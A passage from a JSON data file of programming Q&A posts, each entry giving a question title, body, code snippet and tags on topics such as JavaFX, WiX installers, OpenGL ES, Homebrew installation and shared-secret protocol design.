themes"], "1745884": ["JavaFX Popup performance on Linux \u2013 Intel Atom",
"Background/Context:\nI am developing touch screen based kiosk application.\nHW:
Intel Atom E640 CPU @1.0GHz, SDRAM size 1GB\nOS: Linux Mint 10 (Julia)\nI am using
virtual/on-screen keyboard which is based on Popup class (the keyboard is added to
Popup content) similar to this:\non-screen-keyboard\nhowever, once the keyboard is
shown the app gets very slow, each click on a button or even move over button takes
very long.\nOnce the popup is made visible I got this in terminal:\nCan't create
transparent stage, because your screen doesn't support alpha channel. You need to
enable XComposite extension.\nHowever, in my xorg.conf I have:\n\nIt is not only my
app with this problem I got exactly same message when running Ensamble.jar. The
extra-info popup in the search box is problematic. \nMy questions:\nHow do I enable
XComposite extension or manage to get popup perform relatively smoothly?\nIn case I
need to find another solution for virtual keyb. instead of popup, what that should
be? I need possibility to click on keyboard\u00b4s buttons and still preserve focus
on TextField or HTML input element in WebView. If you were to tackle this problem,
what would be your approach to that?\n", "Section \"Extensions\" \n
Option \"Composite\" \"enable\" \nEndSection\n", "linux performance popup
javafx intel-atom"], "5839998": ["Parent process not ending when using fork() and
execl(...)", "I'm new to programming with linux and I was trying to understand how
fork() and exec functions work. To make it easier for myself, I created a simply
Dummy executable (with gcc -o Dummy.exe ...) and tried to call fork function so I
can replace the child with the Dummy.exe executable I have created.\nThe problem
I'm coming accross is that when I run the code, it shows me the contents of the
Dummy.exe, however, I don't see anything past that - meaning, I don't see the
parent process ending.\nWhen I run my code Ex1.cpp, I get the output: \n\nThe only
way I can get the program to end is by pressing return key - you will see a blank
line after word Ended.\nHere is the code in my Ex1.cpp\n\nMy Dummy.cpp code is
below:\n\nMy background is Windows development and all this is new for me - I
appreciate your help.\n", " Program is Running\n --- ****** ---\n Ended\n\
n me@mdev>\n", "fork"], "915897": ["Merging columns in Excel with \";\"
separator", "I'm new here and I hope to seek for your assistance on converting data
format of my excel to csv.\nThis is my raw data in excel in different row and
cells:\n\nI would like to convert all data into this format containing 1 column and
different rows:\n\nAs I have large volume of data to be processed, a convenient way
of converting the data is really needed.\n", "A B C D E F\n1 2 3 4
5 6\n2 3 4 5 6 7\n3 4 5 6 7 8\n", "microsoft-excel csv"],
"3136567": ["Basic Sample Spaces and Events Question", "\nPossible Duplicate:\nWhy
is the number of possible subsequences 2^n? \n\nI'm brushing up on my probability
skills and the text asks the following question:\n\nFor the sample space {A, B, C,
D}, determine how many events are\n possible.\n\nI understand that an event is a
subset of a sample space, so the question is essentially asking \"how many subsets
of {A, B, C, D} are there?\" \nOther than the brute force method of listing all the
different subsets I can't figure out how to crack this question. \nThe book's
answer is 16. \nHelp?\n", "", "probability permutations"], "4997354": ["Is there
enough information to know what this regex is searching and replacing?", "Could
anyone explain what's being replaced here?\nI don't know if enough information is
present to understand what's being searched and what's being replaced:\n\n", "
regEx.Pattern = \"(\\s) *(\\S)\"\n regEx.Global = True\n that =
regEx.Replace(that, \"$1$2\")\n", "regex search replace"], "1848875": ["jQuery
Mobile and Phonegap ontouchmove preventDefault for video tag?", "I use this to stop
scrolling/bouncing in my webapp for my ipad when someone tries to tap and drag the
page. It works fine.\njQuery().ready(function(){ document.ontouchmove =
function(e){ e.preventDefault(); } });\nThe problem is it does not seem to apply to
video tags. Anyone know how to stop scrolling/dragging when the user clicks/drags
a video too? I'm not very good with objective C so I don't know how to extend
UIViewController I think it is...\nThanks for any help.\n", "", "jquery video
mobile phonegap"], "90122": ["How can I add two configuration dialogs for two
independent non required features in Wix", "I'm updating a setup project that had
one feature with a corresponding configuration dialog for that feature.\nNow I need
to add one more feature with its own configuration dialog to the setup project and,
when the user chooses the feature1 display feature1's configuration dialog, when
the user chooses feature2 display feature2's configuration dialog and when the user
chooses both features display the feature1's then feature2's configuration dialogs
in a sequence. Obviously if the user chooses none, setup program can't continue
because it has no features to install. That last rule is not reflected here in the
project yet.\nThis is the last UI snippet from the project. \nSample Features are
Translator and Cache in and sample dialogs are TransParams and CacheParams
respectively\n\nI tried several other combinations and none of them helped me much
more.\nThanks in advance!\n", "<UI Id=\"MyWixUI_Mondo\">\n <UIRef
Id=\"WixUI_Mondo\"/>\n <UIRef Id=\"WixUI_ErrorProgressText\"/>\n\n <DialogRef
Id=\"TransParams\"/>\n <DialogRef Id=\"CacheParams\"/>\n\n <!-- skip license
dialog-->\n <Publish Dialog=\"WelcomeDlg\" Control=\"Next\" Event=\"NewDialog\"
Value=\"SetupTypeDlg\">1</Publish>\n <Publish Dialog=\"SetupTypeDlg\"
Control=\"Back\" Event=\"NewDialog\" Value=\"WelcomeDlg\">1</Publish>\n\n <!--
Translator parameters -->\n <Publish Dialog=\"SetupTypeDlg\"
Control=\"CompleteButton\" Event=\"NewDialog\" Value=\"TransParams\">1</Publish>\n\
n <Publish Dialog=\"CustomizeDlg\" Control=\"Next\" Event=\"NewDialog\"
Value=\"TransParams\"><![CDATA[&Translator = \"3\"]]></Publish>\n <Publish
Dialog=\"CustomizeDlg\" Control=\"Next\" Event=\"NewDialog\"
Value=\"CacheParams\"><![CDATA[&Translator <> \"3\" AND &Cache =
\"3\"]]></Publish>\n\n <Publish Dialog=\"TransParams\" Control=\"Back\"
Event=\"NewDialog\" Value=\"SetupTypeDlg\" Order=\"1\">WixUI_InstallMode
= \"InstallComplete\"</Publish>\n <Publish Dialog=\"TransParams\" Control=\"Back\"
Event=\"NewDialog\" Value=\"CustomizeDlg\" Order=\"1\">WixUI_InstallMode
= \"InstallCustom\"</Publish>\n <Publish Dialog=\"TransParams\" Control=\"Next\"
Event=\"NewDialog\" Value=\"CacheParams\" Order=\"1\">WixUI_InstallMode
= \"InstallComplete\"</Publish>\n <Publish Dialog=\"TransParams\" Control=\"Next\"
Event=\"NewDialog\" Value=\"CacheParams\" Order=\"1\"><![CDATA[WixUI_InstallMode
= \"InstallCustom\" AND &Cache = \"3\"]]></Publish>\n <Publish
Dialog=\"TransParams\" Control=\"Next\" Event=\"NewDialog\"
Value=\"VerifyReadyDlg\" Order=\"2\"><![CDATA[WixUI_InstallMode
= \"InstallCustom\"]]></Publish>\n\n <!-- Cache parameters -->\n <Publish
Dialog=\"CacheParams\" Control=\"Back\" Event=\"NewDialog\"
Value=\"SetupTypeDlg\">WixUI_InstallMode = \"InstallComplete\"</Publish>\n
<Publish Dialog=\"CacheParams\" Control=\"Back\" Event=\"NewDialog\"
Value=\"TransParams\"><![CDATA[WixUI_InstallMode = \"InstallCustom\" AND
&Translator = 3]]></Publish>\n <Publish Dialog=\"CacheParams\" Control=\"Back\"
Event=\"NewDialog\" Value=\"CustomizeDlg\"><![CDATA[WixUI_InstallMode
= \"InstallCustom\" AND &Translator <> 3]]></Publish>\n <Publish
Dialog=\"CacheParams\" Control=\"Next\" Event=\"NewDialog\"
Value=\"VerifyReadyDlg\">1</Publish>\n\n</UI>\n",
"configuration dialog wix setup"], "85714": ["What are reasonable values for --
throttle on xtrabackup?", "Percona's xtrabackup utility has a --throttle option to
reduce the IO load of the backup job.\nThe docs say that the value passed is the
number of read/write pairs per second. Is 1000/sec an appropriate value on modern
hardware? How about 5? I cannot find any meaningful frame of reference for these
values.\nFor reference - I am reading from and writing to the same drive array (10k
SAS). A 55gb backup job with --throttle=20 ran in roughly an hour with no apparent
strain on the system during off-peak hours. But I honestly don't know if this is a
high or low value for the throttle.\n", "", "mysql backup innodb"], "1824772":
["Have an all-in-one modem/router/wifi point; what do I need to add to extend
wired/wifi network?", "I have an all-in-one Netgear DG834GT on the ground floor of
my house, connected to my ADSL line. My desktops and server are connected to it
over ethernet, laptops usually over wifi, but sometimes over ethernet for backups
etc.\nI want to rearrange my house and so in future want to be able to connect
multiple PCs over ethernet (mostly) and wifi (sometimes) on the ground or upper
floor, with the minimum of cabling work.\nI don't want to go as far as putting
Ethernet wall jacks in. Current wifi signal upstairs is unreliable. \nI'm not
really clear what hardware I need to add. Can I run a single Cat 5e cable from the
DG834GT, to the upper floor and put another similar (but without modem) combined
wired router/wifi point on the end? Are there any other considerations?\nThe 834GT
is 100 Mbit and wireless-G; PCs are a mix of 100/1000 Mbit, Wireless-G and -N. It
probably makes sense for any new hardware to support the higher speeds.\nI think
power-line based networking is out as the floors are each on a different ring.\n",
"", "wireless-networking home-networking"], "23961": ["Same listener for list and
button", "In my application pressing a list row or a button means executing the
same commands. My problem is that the list and the button have different listeners
(AdapterView.OnItemClickListener vs. View.OnClickListener). How can I add the code
for the 2 views (as a listener) without having duplicate code.\nBest Regards\n",
"", "android onclick"], "314300": ["Problem in MS Word figure number formatting",
"I use Microsoft Word 2007 & my figure numbers follow this style \"Figure \u200e1-
3\" I want change my style to \"Figure \u200e1.3\"\nwould you please help me to do
that? \n", "", "microsoft-word microsoft-word-2007 numbering"], "2475092": ["Having
errors when change publish setting to Flash Player8", "I have Flash application
that publish with this settings Action Script 2.0 and Flash Player6\nbut I have
ExternalInterface.call and I should upgrade Flash Player setting to Flash Player8\
nbut when I change it Then export the application it have some compilation errors\
n\nLike:\nScene=Scene 1, layer=Action Layer, frame=1, Line 18 ')' or ',' expected\
nFor:\niconClicked (\"drag piece \" add whichPiece);\nAnd\n\nScene=Scene 1,
layer=Layer 16, frame=22, Line 10 ')' or ',' expected\nFor:\
n_root.gotoAndPlay(\"puzzle\" add puzznumber);\n\nP.S\nI do not write the Action
Scripts, I just want to expand some features that need ExternalInterface.call\
nThank you.\n", "", "flash flash-player"], "5104684": ["An active access token must
be used to query information about the current user on different url", "I was
developing facebook app which was hosted on test machine. Everything was ok and
today I wanted to push it on production. I have changed page url on facebook
developers and from that moment when I try to use this app there is an error:\n\
nWhat can be wrong ?\n", "An active access token must be used to query information
about the current user\n", "facebook facebook-graph-api"], "5310389": ["What is the
preferred method for passing server data to a RequireJS module?", "Is there a
preferred way to pass server data in a RequireJS module? Our current implementation
looks like the following code snippets; using a 'page' object to hold any
server/dynamic data and passing that to the main bootstrap. (We don't want to use
ajax to populate any dependencies at this time)\nFrom a server page : \n\nmain.js\
n\njquery.apha.js\n\n", "<script data-main=\"scripts/main\" src=\"scripts/require-
jquery.js\"></script>\n<script type=\"text/javascript\">\n define(\"page\",
function () {\n return { guid: \"<%=Guid.NewGuid() %>\" };\n
});\n</script>\n", "javascript jquery asp.net-mvc-3 requirejs"], "1475833":
["NetStream.bufferTimeMax is not working on pseudostreaming", "I have tried to set
bufferTimeMax to 5 seconds, but it seems it's ignoring it and use full client
bandwidth to download the whole movie while playing video...\nIs there any way to
pause buffering?\nThere is no sense to download the whole movie. What bufferTimeMax
supposed to do if not pausing the buffering?\nI'm getting crashes when i'm trying
to rewind, after downloading around 400mb~ of 1080p movie...\nWhere flash stores
all this data? On user HDD? Because I was tracing the memory and it's not changing
while movie downloading is happening.\n", "", "actionscript-3 video-streaming"],
"5918176": ["Rename MFC CArchive Serialized class", "I'm using MFC's CArhive class
to save off a project file for my app. One of the class names is wildly inaccurate
and I'd like to change it, but simply changing the name everywhere renders previous
archive files useless with an archive error. Is there a way to change the name of
the archived class without rendering all previously saved files useless?\nThat is
of course without using a typedef to access the existing class with a new name or
keeping around a version of the class with the old name to read archived files and
copying the read in objects to the same class with a new name.\n", "", "c++ mfc"],
"1804950": ["Setup mercurial over HTTP", "Can you give some pointers to setup
Mercurial over HTTP/HTTPS?\nI am setting up a development server (Debian), where i
want to create a mercurial repository and push the changes to the server. I need to
authenticate to prevent any unnecessary access. \nThanks in advance.\n", "",
"authentication http mercurial mercurial-server"], "4949331": ["How can I redefine
the \\verb|...| command?", "I'd like to redefine the command so that it had a
light-gray background and a little bit darker border around it, and a little bit of
padding to make this background \"box\" noticable. Anyone knows how to do that? If
that is not possible to do easily, can I define a new command that acts like and
does that?\n", "\\verb|...|", "macros color verbatim"], "5005665": ["WPF -
Storyboard completed event", "I'm designing a game like this\n\nEverything is
great, but I found that the ellipse didn't get the right position and make an error
about 2% to 50%. It seems like the Storyboard.Completed event triggered before the
end of animation.\nWhat's wrong with it?\n", "class Anima\n{\n Storyboard story;\n
Random rand;\n Canvas canvas;\n Ellipse target;\n\n public Anima() {\n rand = new
Random();\n canvas = new Canvas();\n target = new Ellipse();\n\n target.Fill =
Brushes.Red;\n target.Width = 50;\n target.Height = 50;\n Canvas.SetLeft(target,
rand.NextDouble() * 300);\n Canvas.SetTop(target, rand.NextDouble() * 300);\n
canvas.Children.Add(target);\n\n story = new Storyboard();\n story.BeginTime =
TimeSpan.FromMilliseconds(rand.Next(500, 5000));\n\n DoubleAnimation a = new
DoubleAnimation();\n a.To = rand.NextDouble() * 300;\n a.Duration = new
Duration(TimeSpan.FromMilliseconds(50));\n\n Storyboard.SetTarget(a, target);\n
Storyboard.SetTargetProperty(a, new PropertyPath(Canvas.LeftProperty));\n
story.Children.Add(a);\n\n DoubleAnimation b = new DoubleAnimation();\n b.To =
rand.NextDouble() * 300;\n b.Duration = new
Duration(TimeSpan.FromMilliseconds(50));\n\n Storyboard.SetTarget(b, target);\n
Storyboard.SetTargetProperty(b, new PropertyPath(Canvas.TopProperty));\n
story.Children.Add(b);\n\n story.Completed += new EventHandler(story_Completed);\
n\n Window win = new Window();\n\n win.Loaded += delegate(object sender,
RoutedEventArgs e) {\n story.Begin();\n };\n\n win.Content = canvas;\n
win.Show();\n }\n\n void story_Completed(object sender, EventArgs e) {\n int next
= rand.Next(500, 5000);\n double left = rand.NextDouble() * 300;\n double top =
rand.NextDouble() * 300;\n\n Console.WriteLine(\"position: ({0:G6}, {1:G6})\",
Canvas.GetLeft(target), Canvas.GetTop(target));\n Console.WriteLine(\"state :
wait for \" + next + \" ms\");\n Console.WriteLine(\"next : ({0:G6}, {1:G6})\",
left, top);\n Console.WriteLine();\n\n (story.Children[0] as DoubleAnimation).To
= left;\n (story.Children[1] as DoubleAnimation).To = top;\n\n story.BeginTime =
TimeSpan.FromMilliseconds(next);\n story.Begin();\n }\n}\n", "c# wpf events
animation"], "5857485": ["Multi-threaded RPC with timeout and resend using
RabbitMQ", "What I'm looking to do is a Map/Reduce system using RabbitMQ as the
transport to and from the worker agents, this is to allow a simple scaling roadmap
but also allows for a single server implementation for development and testing.\
nI've seen a few articles on a single message with a timeout using RPC with
RabbitMQ but these appear to be blocking. I need to be able to fire off a batch of
requests, each could possibly be served by a different agent. I then need to be
able to collate all of the responses so I can crunch to a single answer.\nIf I were
to use RPC, I believe I'd end up with a very complicated serial processing of the
tasks rather than in parallel.\nI'd also like to be able to resend a request under
certain circumstances (e.g. the agent reports a transient error), but this isn't
essential.\nI'm guessing I'm going to need to spawn the threads in the master
application and
each have an RPC call but as it's a web app and there could be in the region of 20
tasks to be served by the agents, I'm not keen on this approach and suspect it
would be a bottleneck quickly.\n", "", "c# mapreduce rabbitmq"], "5200877":
["Filter NSMutableArray with NSPredicate", "I fetch records from core data and fill
with them,now i want to filter them with below code but doesn't work properly.how
should i do it?\n\n", "NSMutableArray", "objective-c cocoa core-data nsdate
nspredicate"], "439569": ["Most interesting non-mainstream language?", "I'm
interested in compilers, interpreters and languages.\nWhat is the most interesting,
but forgotten or unknown, language you know about? And more importantly, why? \nI'm
interested both in compiled, interpreted and VM languages, but not esoteric
languages like Whitespace or BF. Open source would be a plus, of course, since I
plan to study and hopefully learn from it.\n", "", "programming-languages polls
language-design"], "5984785": ["first tcp echo client cant communicate with second
tcp echo client(Bad file descriptor)", "My application is Multiuser Echo chat
program. If a client sends message the server sends to all clients including the
client from which the message originates. It is implemented in c.\nserver forked a
process for each new client connection.\nall child processes can access socket
descriptor of all clients which are stored in shared memory \nwhen there is one
client the message is echoed back correctly. When second client is joined\nand
sends message it echoes back to two clients correctly. \nWhen first client send
message it is transmited back to first client correctly .But when tried to send
that message to second client it failed with error Bad file descriptor\nsimilarly
every client can transmit message to clients connected before and to itself, but
cant to clients connected later\nhow to fix this?\n", "", "c sockets tcp network-
programming"], "90120": ["Python string formatting when string contains \"%s\"
without escaping", "When formatting a string, my string may contain a modulo \"%\"
that I do not wish to have converted. I can escape the string and change
each \"%\" to \"%%\" as a workaround.\ne.g.,\n 'Day old bread, 50%% sale %s' %
'today!'\noutput:\n 'Day old bread, 50% sale today'\nBut are there any
alternatives to escaping? I was hoping that using a dict would make it so Python
would ignore any non-keyword conversions.\ne.g.,\n 'Day old bread, 50% sale %
(when)s' % {'when': 'today'}\nbut Python still sees the first modulo % and gives
a:\n TypeError: not enough arguments for format string\n", "", "python string-
formatting"], "3171398": ["Default values of ivars with enum type in Objective-c",
"I have an like this:\n\nI have a class with an ivar declared in the interface
like this:\n\nCurrently the default value of myTypeIvar is ThingA (since ThingA is
in the 0th position in the enum). What's the best way to make default value of
myTypeIvar ThingB?\nOne solution is to simply re-order the enum definition (put
ThingB in the 0th position). Another solution is to set myTypeIvar in the method.
However the init method doesn't exist (and when it's added it's never called).\n",
"enum", "objective-c enums initialization default-value ivar"], "2212474": ["Data
loading indicator for when Ember.js objects are loading?", "We're having trouble
getting some form of visual indication that a 'page' is loading in our Ember App. \
nTried both a gif method and also Spin JS. Both fail as they are very laggy and
only fully load when all the Ember objects have loaded. A similar problem to this
question.\nWhat methods are other people using in their public facing builds?\
nEdit: This is when the app is loading for the first time. The initial load is long
enough to require some form of visual indication.\n", "", "ember.js"], "4787641":
["Can one REGISTER request contain multiple Contact Header Fields for a single URI
present in To Header Field?", "What will be the practical scenario when a UA will
try to register multiple contact address against its SIP URI?\n", "", "sip"],
"3286995": ["Using ROME to extract feed contents?", "How do I get the contents as a
String using ROME in Java for some feed.\nAt the moment this is what I got\n\nThen
the output of this is:\n\nBut what I want is to just get the string of the
contents:\n\n", "String feedURL = \u201c...\u201d;\nSyndFeedInput input = new
SyndFeedInput();\nSyndFeed feed = input.build(new XmlReader(feedUrl));\n\
nSystem.out.println(feed);\n\nfor (final Iterator iter =
feed.getModules().iterator(); iter.hasNext();){\n System.out.println(\"\\t\" +
((Module)iter.next()).getUri());\n}\n\nSystem.out.println(\"Titles of the \" +
feed.getEntries().size() + \" entries:\");\nfor (final Iterator iter =
feed.getEntries().iterator(); iter.hasNext();){\n System.out.println(\"\\t\" +
((SyndEntry)iter.next()).getContents());\n}\n", "java feed rome"], "3084189":
["wget -nd (--no-directories) option not working as expected", "I am using 1.12
(in msys if it makes a difference) and am trying to mirror a website with the
option, since the file and folder names on this site are very long. The docs state
that\n\nHowever, this is not the case. The identically named files keep getting
overwritten (think index.html on a large site). How can I get the correct
behavior?\nP.S. he reason the names are so long is that they are in Hebrew and are
being converted to ascii %HH. Is there another way to do this?\n", "wget", "wget
msys"], "2611327": ["is there a way in c++ to inititialize an array of some class
objects without defining the size first", "I use code like this:\n\nIgnore the kn
prefix, it is my way of saying constant, size.\nI found it useful because I don;t
have to change or calculate knElements when I change the initialization of the
vector. But the problem is that using a const vector bothers me because vector is
resizable array so it feels wrong. BTW if you are wondering why I need it-long
story, it's kind of a map, but I dont do any searching or inserting, just \"for
each\" so array is the best choice. \nEDIT:\nI changed my cod to this and it
compiles:\n\nI had no idea that you can do [] in c++. Sorry for stupid question, I
hope it helps somebody. \n", "const vector<filterStat> someArray={\n
{\"Ana\",1},\n {\"Bob\",2},\n {\"Charlie\",5},\n};\nstatic const int
knElements=filterStats.size();\n", "c++ arrays c++0x"], "929679": ["Why do I
get \"Homebrew is not installed to /usr/local\" when it IS installed there?", "I
went to the /usr directory and created the local directory there. Then I installed
homebrew into the local directory with this command, obtained from Homebrew's
homepage: \n\nWhy then, do I get the following?\n\nI'm using a MacBook Pro with OS
X Mountain Lion 10.8.2, and I haven't tinkered with anything besides adding
/usr/local/homebrew/bin to my path since /usr/local wasn't in my path by default.
Initially I created the local directory and subdirectories with sudo, but before I
took the screenshot above I chowned the local directory to my user.\n", "mkdir
homebrew && curl -L https://github.com/mxcl/homebrew/tarball/master | tar xz --
strip 1 -C homebrew", "terminal install osx-mountain-lion homebrew"], "6002497":
["how to kill other user's session", "suppose i have web app. where many user login
and access few restricted content. i want admin will have power to kick out any
user and as a result that user will not be able to access that restricted content
of the page. in this scenario if admin can kill session of any particular user then
it would be possible. so please tell in asp.net how i can forcefully kill other
session when my session is different. how to design this type of web apps using web
form technology. please advice.\nthanks\n", "", "asp.net session"], "676894":
["What is equivalent statement of DBCC INPUTBUFFER(@@SPID)(which give sql statement
for current connection otr specified connection) in MYSQL?", "What is the MySQL
equivalent statement of , which lists the sql statement for current connection or
specified connection?\n", "DBCC INPUTBUFFER(@@SPID)", "sql mysql sql-server tsql"],
"638692": ["Internationalization string testing", "Some people using look-alike
Unicode symbols to replace English characters to test the internationalization,
e.g. \"Test\" is replaced as \"\u0164\u0117\u015f\u0167\". Is there a wellknown
name for this language/culture? Are there utils, keyboard layouts, translation
tools for this \"language\"?\n", "", "testing internationalization"], "5978564":
["How can i send email with html anchor link?", "I tried this:\n\nBut signing in
email, I got a string like that:\n\nBut i wanted a html anchor link: Confirm\nHow
can I send the message with html anchor link?\nIt will be very much appreciated if
someone help me to fix it.\n", "from django.core.mail import send_mail\n\
nsend_mail('hello subject', '<a href=\"http://127.0.0.1:8000/confirm/' + tempToken
+ '\">Confirm</a>'\n, 'from', ['to'], fail_silently=False)\n", "python html django
email"], "1283975": ["In WPF how do I access a WrapPanel from CodeBehind", "I have
a WrapPanel defined as follows in XAML...\n\nWhen I try to use the WrapPanel as
below in my Code Behind I get a runtime error \"Object reference not set to
instance of object\".\n\nCan anyone tell me what I've done wrong?\n", "<Page
x:Class=\"SelectImages\"\n
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n
xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" \n
xmlns:d=\"http://schemas.microsoft.com/expression/blend/2008\"\n
mc:Ignorable=\"d\" \n d:DesignHeight=\"320\" d:DesignWidth=\"480\"\n
Title=\"Select Images\">\n <Grid>\n <WrapPanel Name=\"MyImagePanel\"
Width=\"Auto\" Height=\"Auto\" Margin=\"10,50,10,10\"
ScrollViewer.HorizontalScrollBarVisibility=\"Disabled\"
ScrollViewer.VerticalScrollBarVisibility=\"Auto\" Orientation=\"Horizontal\">\n\n
</WrapPanel>\n\n </Grid>\n</Page>\n", "wpf vb.net wpf-controls runtime-error"],
"5031878": ["Opengl-es render to framebuffer", "I am trying to render to
framebuffer\nmy code:\n\nI am trying to draw my scene and then make a motion blur
like effect. \nI get an error of 1286 (in: Log.e(\"err\", \"Background Load
GLError: \" + error+\" \");\n), and a simple white 128*128 white rectangle in
the corner on my screen. (black bakcground)\nWhat is the probleme with my code?\n",
"//FBO\nint[] fb, depthRb, renderTex; \nint texW = 128; \nint texH = 128; \
nIntBuffer texBuffer;\nint[] buf = new int[texW * texH];\nGL11ExtensionPack
gl11ep;\n\nvoid setupFBO(GL11 gl) {\n fb = new int[1];\n depthRb
= new int[1];\n renderTex = new int[1];\n // generate\n
((GL11ExtensionPack)gl).glGenFramebuffersOES(1, fb, 0);\n
((GL11ExtensionPack)gl).glGenRenderbuffersOES(1, depthRb, 0); // the depth buffer\
n\n gl.glEnable(GL11.GL_TEXTURE_2D);\n gl.glGenTextures(1, renderTex, 0);//
generate texture\n gl.glBindTexture(GL11.GL_TEXTURE_2D, renderTex[0]);\n\n
gl.glTexParameterf(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MIN_FILTER,
GL11.GL_LINEAR);\n gl.glTexParameterf(GL11.GL_TEXTURE_2D,
GL11.GL_TEXTURE_MAG_FILTER, GL11.GL_LINEAR);\n
gl.glTexParameterf(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_WRAP_S,
GL11.GL_CLAMP_TO_EDGE);\n gl.glTexParameterf(GL11.GL_TEXTURE_2D,
GL11.GL_TEXTURE_WRAP_T, GL11.GL_CLAMP_TO_EDGE);\n\n texBuffer =
ByteBuffer.allocateDirect(buf.length*4).order(ByteOrder.nativeOrder()).asIntBuffer(
);\n\n // gl.glTexEnvf(GL11.GL_TEXTURE_ENV,
GL11.GL_TEXTURE_ENV_MODE,GL11.GL_MODULATE);\n\n
gl.glTexImage2D(GL11.GL_TEXTURE_2D, 0, 4, texW, texH, 0, GL11.GL_RGBA,
GL11.GL_UNSIGNED_BYTE, texBuffer);\n\n // create render buffer and bind 16-bit
depth buffer\n
((GL11ExtensionPack)gl).glBindRenderbufferOES(GL11ExtensionPack.GL_RENDERBUFFER_OES
, depthRb[0]);\n
((GL11ExtensionPack)gl).glRenderbufferStorageOES(GL11ExtensionPack.GL_RENDERBUFFER_
OES, GL11ExtensionPack.GL_DEPTH_COMPONENT16, texW, texH);\n\n
gl.glDisable(GL11.GL_TEXTURE_2D);\n\n}\n\nboolean renderFBOStart(GL11 gl) {\n //
Bind the framebuffer\n
((GL11ExtensionPack)gl).glBindFramebufferOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES,
fb[0]);\n\n // specify texture as color attachment\n
((GL11ExtensionPack)gl).glFramebufferTexture2DOES(GL11ExtensionPack.GL_FRAMEBUFFER_
OES, GL11ExtensionPack.GL_COLOR_ATTACHMENT0_OES, GL11.GL_TEXTURE_2D, renderTex[0],
0);\n\n // attach render buffer as depth buffer\n
((GL11ExtensionPack)gl).glFramebufferRenderbufferOES(GL11ExtensionPack.GL_FRAMEBUFF
ER_OES, GL11ExtensionPack.GL_DEPTH_ATTACHMENT_OES,
GL11ExtensionPack.GL_RENDERBUFFER_OES, depthRb[0]);\n\n int error =
gl.glGetError();\n if (error != GL11.GL_NO_ERROR) {\n
Log.e(\"err\", \"Background Load GLError: \" + error+\" \");\n }\n int
status =
((GL11ExtensionPack)gl).glCheckFramebufferStatusOES(GL11ExtensionPack.GL_FRAMEBUFFE
R_OES);\n if (status != GL11ExtensionPack.GL_FRAMEBUFFER_COMPLETE_OES)\n {\n
return true;\n }\n gl.glClear( GL11.GL_DEPTH_BUFFER_BIT |
GL11.GL_COLOR_BUFFER_BIT);\n return true;\n}\n\nvoid renderFBOEnd(GL11 gl) {\n
((GL11ExtensionPack)gl).glBindFramebufferOES(GL11ExtensionPack.GL_FRAMEBUFFER_OES,
0);\n\n gl.glClear(GL11.GL_COLOR_BUFFER_BIT | GL11.GL_DEPTH_BUFFER_BIT);\n\n
gl.glEnable(GL11.GL_TEXTURE_2D);\n gl.glBindTexture(GL11.GL_TEXTURE_2D,
renderTex[0]);\n gl.glColor4f(1,1,1,1);\n ((GL11Ext) gl).glDrawTexfOES(0, 0,
-2,texW,texH);\n gl.glDisable(GL11.GL_TEXTURE_2D);\n\n}\n//FBO END\n\n\nvoid
render() {\n renderFBOStart(OpenGL.gl);\n drawScene();\n
renderFBOEnd(OpenGL.gl);\n}\n", "android opengl-es"], "4114643": ["How do you run
windows explorer as a different user?", "I can't believe this question wasn't
already asked. I came across the answer when asking a slightly different question.\
nLets say I am logged in as user Bob and I open up a command prompt via the runas
command with Alice's credentials. How do I launch explorer with Alice's credentials
from the command prompt.\n", "", "windows user-accounts windows-explorer runas"],
"352983": ["AnySoftKeyboad stays with garbage data after I hide it", "I have a
problem which occurs only when I use AnySoftKeyboard.\nI'm trying to show/hide the
keyboard according to EditText focus.\nI used the methods I found in this post\
nWhen I'm hiding the keyboard, there is a strange behavior - \n\nWhen I rotate the
screen, the text that was in the EditText is doubled.\nI thought that it has to do
with the onCreate method, but I can see the it happens also when I click \"back\"
(Finish()). I see it for a split second before the Activity is closed.\nWhen I
start a new activity, (ActivityB from ActivityA) then clicking \"Back\" once
doesn't do anything (probably \"closing\" the invisible keyboard).\nWhen I
click \"back\" again, ActivityB closes but I can see for a split second the text
from ActivityA keyboard in a big font across the screen (like a 100 millisecond
pop-up )\n\nDoes anyone has an idea how to deal with it?\n", "", "android gui
keyboard edittext"], "2235107": ["Security protocol for server-side shared secret
generation", "I am trying to implement a security system that has the following
requirements:\n\nAll clients share a password, which is not known to the server\
nEach client has a unique client-id, which is known to the server\nAll clients with
knowledge of the password must be able to generate the same shared secret on the
server (this secret can be anything, it just needs to be the same for all clients
and unique across passwords)\nThe password needs to remain secure, even if the
server or the transport get hacked\nIt must be impossible for another party with a
different client-id to generate the same server-side secret without knowledge of
the password\n\nLet me try to give a graphical representation of this:\n\nHere, f()
[g()] are functions that the client [server] applies to the password [request] to
obtain the request [key]. These functions may depend on the client-id.\nThere's two
approaches that I have come up with that might do this, but I am hoping for
something simpler that requires less traffic and less server load:\n\n\"No-
brainer\": The clients hash the password. The clients and server each use a
standard mechanism (like SSL) to secure their connection and send the hash over
this connection.\n\"A little more clever\": The server has a fixed private-key
coded into it and each client has the public-key coded into it. The clients hash
the password, XOR it with their client-id, encrypt the result with RSA/PGP using
the public key. The server then decrypts the request using the private key and XORs
the result with the client-id to arrive at the password hash.\n\nIn both cases, the
server ends up with the same secret for the clients: the password hash. The
advantage of the second version is that there is no need for the overhead of a
full-fledged key exchange and encryption system, since unfortunately I won't be
able to rely on SSL in all cases. In fact, it allows me to generate the server
secret in a single request without any handshake. The client-id-XOR in the second
version are used to prevent replay-attacks, where a third party with a different
client-id could otherwise simply send the same encrypted message to the server to
generate the same secret. Basically it's a no-overhead way to add a salt.\nNow the
question:\nSince I don't really have any requirements on the server-side secret,
not even that the clients can generate this secret locally, is there an even
simpler way to do this that doesn't require expensive modular exponentiation of
arbitrary-precision numbers like RSA does? I'm thinking of maybe some sort of other
trapdoor function for f() and g() above that allows me to achieve the same result.\
n", " Client Server\n.--------------
^-----------. .----------^----------.\n\n f(client-id 1)
g(client-id 1)\nPASSWORD ----------------> request 1 ----------------> KEY\n ||
equal || equal\nPASSWORD
